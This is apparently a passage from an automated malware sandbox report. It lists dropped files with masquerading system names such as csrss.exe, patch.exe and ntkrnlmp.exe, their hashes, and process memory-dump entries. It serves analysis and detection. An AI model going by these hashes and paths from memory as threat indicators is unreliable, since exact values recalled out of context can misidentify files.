SHA256bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7
SHA5125b9a364aa7cdf6340e709afb5a60eabd045ace1eaeefaa23fd89ede50bd0a51329d69a4afd49ca270ebb80014882ef7728cf72a362a1d0a63d01ba66fa244df7
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllFilesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\symsrv.dllFilesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeFilesize
3.8MB
MD57da8b9fc5c5a67a06afc0749473f1b6e
SHA17b0c1138015a3a573469e1142e44be65b73979c5
SHA256bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7
SHA5125b9a364aa7cdf6340e709afb5a60eabd045ace1eaeefaa23fd89ede50bd0a51329d69a4afd49ca270ebb80014882ef7728cf72a362a1d0a63d01ba66fa244df7
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\Windows\rss\csrss.exeFilesize
3.8MB
MD57da8b9fc5c5a67a06afc0749473f1b6e
SHA17b0c1138015a3a573469e1142e44be65b73979c5
SHA256bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7
SHA5125b9a364aa7cdf6340e709afb5a60eabd045ace1eaeefaa23fd89ede50bd0a51329d69a4afd49ca270ebb80014882ef7728cf72a362a1d0a63d01ba66fa244df7
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memory/868-68-0x0000000005130000-0x00000000054D7000-memory.dmpFilesize
3.7MB
-
memory/868-70-0x0000000000400000-0x00000000036C8000-memory.dmpFilesize
50.8MB
-
memory/868-69-0x0000000005130000-0x00000000054D7000-memory.dmpFilesize
3.7MB
-
memory/868-66-0x0000000000000000-mapping.dmp
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memory/1292-84-0x0000000000000000-mapping.dmp
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memory/1388-58-0x0000000004FB0000-0x0000000005357000-memory.dmpFilesize
3.7MB
-
memory/1388-59-0x0000000004FB0000-0x0000000005357000-memory.dmpFilesize
3.7MB
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memory/1388-63-0x0000000000400000-0x00000000036C8000-memory.dmpFilesize
50.8MB
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memory/1448-57-0x0000000000400000-0x00000000036C8000-memory.dmpFilesize
50.8MB
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memory/1448-56-0x00000000053B0000-0x0000000005AA6000-memory.dmpFilesize
7.0MB
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memory/1448-55-0x0000000005000000-0x00000000053A7000-memory.dmpFilesize
3.7MB
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memory/1448-54-0x0000000005000000-0x00000000053A7000-memory.dmpFilesize
3.7MB
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memory/1652-60-0x0000000000000000-mapping.dmp
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memory/1856-62-0x000007FEFBF51000-0x000007FEFBF53000-memory.dmpFilesize
8KB
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memory/1856-61-0x0000000000000000-mapping.dmp